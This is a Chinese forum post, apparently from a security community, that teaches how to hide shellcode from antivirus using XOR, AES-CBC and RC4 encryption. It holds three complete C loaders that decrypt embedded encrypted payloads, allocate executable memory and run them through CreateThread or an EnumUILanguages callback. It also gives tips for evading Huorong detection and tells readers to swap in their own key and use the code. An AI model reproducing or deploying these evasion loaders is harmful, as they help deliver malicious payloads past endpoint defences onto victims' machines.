对称加密
a明文—-c密钥——>b密文
b密文—-c密钥——>a明文
把每一个key的ascii码的二进制和shellcode的二进制做一个异或运算,在赋值给新的shellcode
9f的二进制10011111
密钥第一位c的十六进制63
63的二进制1100011
高位添0:01100011
异或:相同得0,不同得1
10011111
01100011
得到
11111100
#include <Windows.h>
#include<stdio.h>
#define KEY 0x01
int main() {
// Encrypted shellcode and cipher key obtained from shellcode_encoder.py
char encryptedShellcode[] =
"\x9f\x3d\xf7\x81\x93\x9d\xb8\x65\x79\x75\x20\x33\x22\x33\x31\x32\x2b\x52\xa7\x11\x2d\xe8\x27\x14\x33\x31\xfe\x33\x7a\x2b\xe8\x31\x43\x2b\xe8\x7\x24\x28\x52\xbc\x3c\x6a\xce\x3f\x2b\x2a\x52\xa3\xcf\x5f\x2\x1f\x77\x58\x45\x22\xb4\xbd\x68\x38\x74\xa0\x80\x8e\x31\x22\x32\x2b\xe8\x27\x54\xee\x21\x49\x3c\x64\xa9\x13\xe0\x1a\x7b\x68\x61\x6c\xe6\x11\x75\x74\x65\xe8\xf5\xfc\x65\x79\x75\x29\xe7\xa3\x17\x4\x2b\x62\xb3\x25\xff\x2d\x7b\x31\xff\x25\x59\x3c\x60\xb2\x80\x35\x2b\x9c\xaa\x2e\x44\xbd\x24\xe8\x41\xfc\x2d\x78\xa3\x29\x53\xa3\x22\xa2\xaa\x6e\xcf\x34\x75\xa4\x5b\x95\x1\x94\x35\x76\x2d\x46\x6b\x26\x5a\xb2\x16\xbb\x2d\x30\xee\x23\x51\x3d\x64\xa9\x13\x20\xe9\x6f\x2b\x27\xe8\x23\x7f\x3c\x75\xb5\x22\xfe\x70\xed\x38\x2d\x29\x63\xb3\x22\x3b\x3d\x3a\x39\x34\x2c\x24\x3a\x34\x2e\x2d\xfa\x99\x41\x23\x31\x9c\x83\x3b\x22\x3a\x2f\x3c\xee\x71\x9c\x3f\x9a\x86\x8a\x3c\x2b\xdd\x14\x10\x51\x3c\x50\x47\x74\x65\x22\x23\x3d\xec\x9f\x3d\xe0\x8e\xc3\x62\x63\x63\x2a\xea\x90\x3d\xd9\x61\x75\x65\x39\xb9\xdd\x63\xb7\x22\x37\x2a\xea\x87\x2f\xfc\x85\x24\xd9\x39\x3\x43\x7e\x8a\xb4\x2e\xea\x89\xb\x62\x62\x63\x75\x2d\x24\xd9\x5c\xf4\xe\x79\x8a\xb4\x8\x69\x22\x3d\x33\x33\x2e\x44\xbd\x28\x52\xb5\x3c\x9a\xb9\x3d\xe8\xa0\x2b\x9c\xa3\x2b\xea\xa2\x34\xce\x8f\x6c\xaa\x94\x9a\xac\x3d\xe8\xa5\x9\x73\x22\x3b\x2f\xea\x97\x3c\xec\x9a\x34\xce\xfc\xdc\x1\x0\x9d\xb6\xe6\xa3\x17\x69\x2a\x8a\xba\x10\x86\x9d\xe7\x65\x79\x75\x29\xe1\x8f\x73\x2b\xea\x81\x2e\x44\xbd\xf\x67\x34\x2c\x2d\xf0\x8c\x20\xd8\x61\xba\xab\x3c\x9c\xb6\xf6\x8c\x65\x1d\x20\x3c\xe6\xbd\x55\x3f\xeb\x95\x9\x23\x22\x3a\xb\x75\x64\x65\x63\x34\x2c\x2d\xf0\x87\x29\x53\xaa\x22\xd9\x3b\xc7\x30\x90\x8b\xb0\x2b\xfc\xb7\x2c\xf0\xb2\x2c\x53\xaa\x2a\xea\x93\x2b\xea\xaf\x3c\xec\x9a\x34\xce\x67\xa0\xbd\x3e\x9d\xb6\xe0\x9b\x63\x1e\x4b\x2d\x35\x32\x3a\x1d\x74\x25\x79\x75\x20\x3a\x9\x63\x39\x22\xd9\x68\x5a\x7b\x55\x9c\xa0\x23\x3c\x38\xcf\x14\xc\x2e\x2\x9c\xb6\x2a\x9c\xbb\x9d\x59\x9c\x8a\x8b\x2d\x78\xb6\x29\x4b\xa5\x2b\xe6\x95\x16\xd7\x34\x8b\x82\x3b\x1f\x74\x3c\x30\xb2\xa3\x92\xd6\xc1\x35\x9c\xb6\x63";
char key[] = "carryshanque";
char cipherType[] = "xor";
// Char array to host the deciphered shellcode
unsigned char shellcode[sizeof encryptedShellcode];
// XOR decoding stub using the key defined above must be the same as the encoding key
int j = 0;
for (int i = 0; i < sizeof encryptedShellcode; i++) {
//先判断密钥的位数没有跑到最后面就用当前的位数,如果所有的值都用一个做异或而不是按位的话就不用写
if (j == sizeof key - 1) j = 0;
//把和密钥异或加密后的值给shellcode
shellcode[i] = encryptedShellcode[i] ^ key[j];
j++;
printf("\\x%x", shellcode[i]);
}
char* addrShellcode = shellcode;
DWORD dwOldPro = 0;
BOOL ifExec = VirtualProtect(addrShellcode, sizeof(shellcode),
PAGE_EXECUTE_READWRITE, &dwOldPro);
EnumUILanguages((UILANGUAGE_ENUMPROC)addrShellcode, 0, 0);
}
代码看不懂,不想研究原理也没关系,直接把key值改成你自己的就好,拿去用~
明文a—-密钥b—->密文c—-密钥d=b+c—->密文e—-密钥f=d+e—->密文g
aes就是这样流式加密十次
两个头文件
aes.hpp
#ifndef _AES_HPP_
#define _AES_HPP_
#ifndef __cplusplus
#error Do not include the hpp header in a c project!
#endif //__cplusplus
extern "C" {
#include "aes.h"
}
#endif //_AES_HPP_
aes.h
#ifndef _AES_H_
#define _AES_H_
#include <stdint.h>
// #define the macros below to 1/0 to enable/disable the mode of operation.
//
// CBC enables AES encryption in CBC-mode of operation.
// CTR enables encryption in counter-mode.
// ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously.
// The #ifndef-guard allows it to be configured before #include'ing or at compile time.
#ifndef CBC
#define CBC 1
#endif
#ifndef ECB
#define ECB 1
#endif
#ifndef CTR
#define CTR 1
#endif
#define AES128 1
//#define AES192 1
//#define AES256 1
#define AES_BLOCKLEN 16 //Block length in bytes AES is 128b block only
#if defined(AES256) && (AES256 == 1)
#define AES_KEYLEN 32
#define AES_keyExpSize 240
#elif defined(AES192) && (AES192 == 1)
#define AES_KEYLEN 24
#define AES_keyExpSize 208
#else
#define AES_KEYLEN 16 // Key length in bytes
#define AES_keyExpSize 176
#endif
struct AES_ctx
{
uint8_t RoundKey[AES_keyExpSize];
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
uint8_t Iv[AES_BLOCKLEN];
#endif
};
void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key);
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv);
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv);
#endif
#if defined(ECB) && (ECB == 1)
// buffer size is exactly AES_BLOCKLEN bytes;
// you need only AES_init_ctx as IV is not used in ECB
// NB: ECB is considered insecure for most uses
void AES_ECB_encrypt(struct AES_ctx* ctx, uint8_t* buf);
void AES_ECB_decrypt(struct AES_ctx* ctx, uint8_t* buf);
#endif // #if defined(ECB) && (ECB == !)
#if defined(CBC) && (CBC == 1)
// buffer size MUST be mutile of AES_BLOCKLEN;
// Suggest https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
// NOTES: you need to set IV in ctx via AES_init_ctx_iv() or AES_ctx_set_iv()
// no IV should ever be reused with the same key
void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, uint32_t length);
void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, uint32_t length);
#endif // #if defined(CBC) && (CBC == 1)
#if defined(CTR) && (CTR == 1)
// Same function for encrypting as for decrypting.
// IV is incremented for every block, and used after encryption as XOR-compliment for output
// Suggesting https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
// NOTES: you need to set IV in ctx with AES_init_ctx_iv() or AES_ctx_set_iv()
// no IV should ever be reused with the same key
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, uint32_t length);
#endif // #if defined(CTR) && (CTR == 1)
#endif //_AES_H_
源文件
#define _CRT_SECURE_NO_DEPRECATE
#include "Windows.h"
#include "stdio.h"
#include "aes.hpp"
#include <iostream>
using namespace std;
int main()
{
unsigned char buf[] =
"\x68\x1b\x26\x81\xbf\x11\x66\xd0\x48\x0e\x66\x8b\x0b\xa3\xb8"
"\xb0\xe5\xf8\x7d\xa3\xc1\x39\x61\xfd\x78\x2b\x9e\x7b\x3f\xf1"
"\xe0\x9b\x2b\x2d\xaa\x4a\x8d\x85\xb9\x60\x2f\x2e\x2a\x72\xe3"
"\xb4\x1c\xdd\x1e\xb4\x96\xaf\x9f\x9e\xec\x64\x2a\xd9\xcf\x6e"
"\x16\x7d\x49\xfc\x25\x41\x39\x7f\xf7\x8c\x74\x0b\x02\xe0\xd4"
"\x29\x9e\xe5\x20\x86\xc8\x5f\x84\x39\xf5\xeb\x78\x3c\x1c\xc3"
"\xb8\xfb\x0d\x5a\x98\x01\xf5\xd3\x82\x50\x82\xbf\x40\x50\xcf"
"\x10\x81\x58\x71\xd2\x63\x45\x1b\x9c\x74\xf9\x68\x12\x0d\xfa"
"\x64\x32\xc8\xa3\x0b\x96\x26\x2f\x67\x8b\xe8\x59\xce\xdc\xe5"
"\x6f\x89\x97\xec\x8c\xea\xb6\xec\xaa\x69\x50\x3f\x3a\x3d\xec"
"\xd3\x64\x22\x65\x98\x28\x3f\x3a\xd3\xf8\x5c\x00\xd3\xd9\xb3"
"\xa3\x15\xdf\x5c\x3a\x21\x0d\xc4\xaa\x84\xc5\xa1\xda\xf1\x27"
"\x2a\x49\x47\x53\x13\x66\xbc\xaa\xe0\x6d\xb4\xba\xb8\xba\xa2"
"\x53\xc8\x40\xf9\x65\xcb\xb8\x47\x9d\x11\x84\x3e\xb5\x8e\x17"
"\xd2\x96\x59\x4b\x18\x87\x74\x2e\x97\x0f\x6c\xfc\xbe\x00\xd2"
"\x24\xb0\x9c\x63\xaa\x37\x3b\xbb\xcc\xde\x99\x75\xb1\xe7\x23"
"\x31\x4c\xe1\x1c\x43\x1d\x38\x53\x0a\x4a\x44\x48\x65\xea\xe9"
"\x41\xc2\xd3\x6f\xfc\x9e\x0e\x3f\x75\x8d\x53\x56\x3b\x10\x55"
"\x47\xe9\x1c\x28\xad\x6d\xa9\x1c\xf8\x58\xf2\x9f\x5d\x77\x4f"
"\x9b\x65\x1a\xc3\x07\x3c\x92\x90\x0e\x75\x6e\xd7\xe9\xe9\x75"
"\x75\x75\xa4\xc1\x66\x0a\xcd\x8d\x83\x5c\x91\xd5\x27\xab\x9e"
"\x0c\xe7\xc9\x8d\x26\x28\xc1\xdc\xb7\xa6\x12\xfa\x26\x03\x39"
"\xb8\x1a\x7a\x5f\x4c\xfb\x33\xc0\xf4\xdc\x19\x77\xb8\xb1\xab"
"\x33\x71\xd4\xe0\xc0\x85\x1c\x57\x06\x65\xfe\xd1\xc0\x74\xe4"
"\x33\xa7\x9b\x28\xc5\x92\x35\x94\xb9\x6b\x73\xc6\x6c\xdc\x00"
"\x34\x17\xa1\x25\xcc\xa1\x73\x30\x0c\x13\x15\x70\x27\x0d\x47"
"\xfc\xc0\x12\xb9\x90\x59\xfe\xdc\xad\x9e\xc4\xc0\xe5\x6e\xe9"
"\xa0\x82\xac\xa1\xbd\x46\x0a\xb7\x56\xd6\xc6\xe8\xe2\xcc\x47"
"\xfd\x5d\x68\x13\xa9\x11\x1d\xab\xd6\x72\x80\x72\xa4\x11\xfb"
"\xea\xfe\xdc\x5b\x81\x33\x08\xf4\x4b\x1b\xc8\xd1\xdf\x1d\x3f"
"\x2c\xae\xc2\x21\x33\x7e\xc4\x67\x36\x71\x58\x11\xc1\x70\x35"
"\xa5\xd4\x7c\x71\x4c\x8b\x87\x41\xc0\xb3\xab\x36\x6b\x17\x8f"
"\x69\x25\xb7\x66\xde\xaa\x78\x5e\x99\xb5\xf9\x86\x5a\x11\x79"
"\xfc\x33\x0d\xf9\x84\x62\x65\x29\xba\x70\x8e\x95\x4b\xf4\x39"
"\x00";
cout << sizeof(buf) << endl;
HANDLE Thread;
PVOID Buffer;
SIZE_T bufSize = sizeof(buf);
unsigned char key[] = "shanqueYYDS";
unsigned char iv[] = "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";
struct AES_ctx ctx;
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_decrypt_buffer(&ctx, buf, bufSize);
Buffer = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
RtlMoveMemory(Buffer, buf, sizeof(buf));
Thread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)Buffer,0,0,0);
WaitForSingleObject(Thread,INFINITE);
return 0;
}
这里生成exe的时候出了点问题,暂时没有解决,等下次分析非对称加密的时候再补上
s盒
s盒大概流程
明文a 明文a1,a2异或后作为密钥
⬇ 密钥与明文a再次异或加密
密文b b1,b2异或后作为密钥
⬇ 密钥与密文b再次异或加密
密文c
#include <stdio.h>
#include <windows.h>
#include <iostream>
using namespace std;
unsigned char T[256] = { 0 };//T盒
/*
初始化函数
参数1是一个256长度的char型数组,定义为: unsigned char sBox[256];
参数2是密钥,其内容可以随便定义:char key[256];
参数3是密钥的长度,Len = strlen(key);
返回值:0表示成功
*/
int rc4_init(unsigned char* s, unsigned char* key, unsigned long Len)
{
int i = 0, j = 0;
//这里要定义为无符号char类型,防止出现负数
unsigned char t[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;//下标为几,s[i]就对应几
t[i] = key[i % Len];//将密钥逐个字节赋值给T盒
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + t[i]) % 256;
tmp = s[i];//打乱S盒的值
s[i] = s[j];//交换s[i]和s[j]
s[j] = tmp;
}
//用T盒保留S盒初始化后的值
for (int i = 0; i < 256; i++)
{
T[i] = s[i];
cout << "0x" << hex << (int)T[i] << ',';
}
cout << endl;
return 0;
}
/*
加解密函数
参数1是上边rc4_init函数中,被搅乱的S盒
参数2是明文buf
参数3是buf的长度
返回值:0表示成功
*/
int rc4_crypt(unsigned char* s, unsigned char* buf, unsigned long Len)
{
int i = 0, j = 0, t = 0;
unsigned char tmp;
for (int k = 0; k < Len; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];//交换s[i]和s[j]
s[j] = tmp;
t = (s[i] + s[j]) % 256;
buf[k] ^= s[t];//将明文与密钥流(打乱的s盒)进行异或加解密
}
return 0;
}
unsigned int main()
{
char key[] = "shanquecarry";//密钥
unsigned char buf[] =
"\x78\xf0\xdf\xf6\x4f\xfb\x86\xc3\xc6\x9c\xe1\x6c\xd9\x27\x9c\x96\x19\x1a\xa8\x7e\x0a\xcf\xcf\x1a\x14\x64\xfe\x2e\x58\xbb\x36\x7b\xc7\xa9\xe5\x92\xe9\xfc\x37\x50\xf2\x1c\xd9\x05\x25\xa2\x8b\x99\xd6\xaa\xa2\x9c\x3a\x58\xb8\x73\x25\x99\x34\xd5\x6f\x93\x40\x53\xef\xe1\x82\xe7\xba\x13\xb7\xf1\x00\xd8\xf4\x12\x01\x1a\x4a\xcf\xe2\xf0\x4d\x90\x4b\x52\x10\xde\x39\xb9\x75\x2c\x18\xbd\x33\xe6\x20\xd7\xee\xd6\x80\x88\x4b\x46\x89\x42\x22\x89\x4a\x1a\x4b\x03\xd2\x52\xe1\x54\x4a\xfd\xcb\x43\x89\x36\x8a\x4a\x03\xd4\x4f\x33\xcb\x4a\x33\xc2\x43\xc3\xcb\x0f\xae\x43\x03\xc3\x3a\xe2\x77\xf3\x4e\x01\x4e\x26\x0a\x47\x3b\xd3\x77\xda\x5a\x46\x89\x42\x26\x4b\x03\xd2\x64\x43\x89\x0e\x4a\x46\x89\x42\x1e\x4b\x03\xd2\x43\x89\x06\x8a\x4a\x03\xd2\x43\x5a\x43\x5a\x5c\x5b\x58\x43\x5a\x43\x5b\x43\x58\x4a\x81\xee\x22\x43\x50\xfd\xe2\x5a\x43\x5b\x58\x4a\x89\x10\xeb\x49\xfd\xfd\xfd\x5f\x4b\xbc\x75\x71\x30\x5d\x31\x30\x02\x02\x43\x54\x4b\x8b\xe4\x4a\x83\xee\xa2\x03\x02\x02\x4b\x8b\xe7\x4b\xbe\x00\x02\x13\x5e\xc2\xaa\x00\xd7\x43\x56\x4b\x8b\xe6\x4e\x8b\xf3\x43\xb8\x4e\x75\x24\x05\xfd\xd7\x4e\x8b\xe8\x6a\x03\x03\x02\x02\x5b\x43\xb8\x2b\x82\x69\x02\xfd\xd7\x68\x08\x43\x5c\x52\x52\x4f\x33\xcb\x4f\x33\xc2\x4a\xfd\xc2\x4a\x8b\xc0\x4a\xfd\xc2\x4a\x8b\xc3\x43\xb8\xe8\x0d\xdd\xe2\xfd\xd7\x4a\x8b\xc5\x68\x12\x43\x5a\x4e\x8b\xe0\x4a\x8b\xfb\x43\xb8\x9b\xa7\x76\x63\xfd\xd7\x87\xc2\x76\x08\x4b\xfd\xcc\x77\xe7\xea\x91\x02\x02\x02\x4a\x81\xee\x12\x4a\x8b\xe0\x4f\x33\xcb\x68\x06\x43\x5a\x4a\x8b\xfb\x43\xb8\x00\xdb\xca\x5d\xfd\xd7\x81\xfa\x02\x7c\x57\x4a\x81\xc6\x22\x5c\x8b\xf4\x68\x42\x43\x5b\x6a\x02\x12\x02\x02\x43\x5a\x4a\x8b\xf0\x4a\x33\xcb\x43\xb8\x5a\xa6\x51\xe7\xfd\xd7\x4a\x8b\xc1\x4b\x8b\xc5\x4f\x33\xcb\x4b\x8b\xf2\x4a\x8b\xd8\x4a\x8b\xfb\x43\xb8\x00\xdb\xca\x5d\xfd\xd7\x81\xfa\x02\x7f\x2a\x5a\x43\x55\x5b\x6a\x02\x42\x02\x02\x43\x5a\x68\x02\x58\x43\xb8\x09\x2d\x0d\x32\xfd\xd7\x55\x5b\x43\xb8\x77\x6c\x4f\x63\xfd\xd7\x4b\xfd\xcc\xeb\x3e\xfd\xfd\xfd\x4a\x03\xc1\x4a\x2b\xc4\x4a\x87\xf4\x77\xb6\x43\xfd\xe5\x5a\x68\x02\x5b\x4b\xc5\xc0\xf2\xb7\xa0\x54\xfd\xd7\x02";
unsigned char s[256];//定义S盒
rc4_init(s, (unsigned char*)key, strlen(key));//初始化
for (size_t i = 0; i < sizeof(buf); i++)
{
rc4_crypt(s, &buf[i], sizeof(buf[i]));
printf("\\x%02x",buf[i]);
}
LPVOID add = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
RtlCopyMemory(add,buf,sizeof(buf));
HANDLE handle = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)add,0,0,0);
WaitForSingleObject(handle,INFINITE);
return 0;
}
这里shellcode的加载的方式用的virtualalloc+Rtlmovemermory不清楚的小伙伴可以去看看前面讲shellcode加载器的帖子。
说到这突然想起来,shellcode加载器帖子里有个python版本的,把Rtlmovemermory换成Rtlcopymermory也可以免杀
具体的代码可以看shellcode加载器那个帖子
这个原理应该是python生成可执行文件的方法就两种
1.pyinstaller
2.py2exe
火绒有针对这两个方法的反编译工具可以看到exe的源代码,有可能关键字识别了RTLMoveMermory,但是没有识别RTLCopyMermory.,所以使用这个可以过火绒免杀。
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-劲夫 | 80.00 | 0 | 2022-06-25 19:07:55 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
F0re4t
发表于 2022-6-25
想起一个大事情忘记说了,这里所有的测试shellcode都是我已经加密过的。小伙伴们用的话,要先把加载模块注释掉
然后关闭杀软点击调试,获取加密后的shellcode再覆盖到原来的shellcode上,把加载部分的注释删掉生成exe就可以了。因为这三个都是对称加密,所以加解密过程是一样的
评论列表
加载数据中...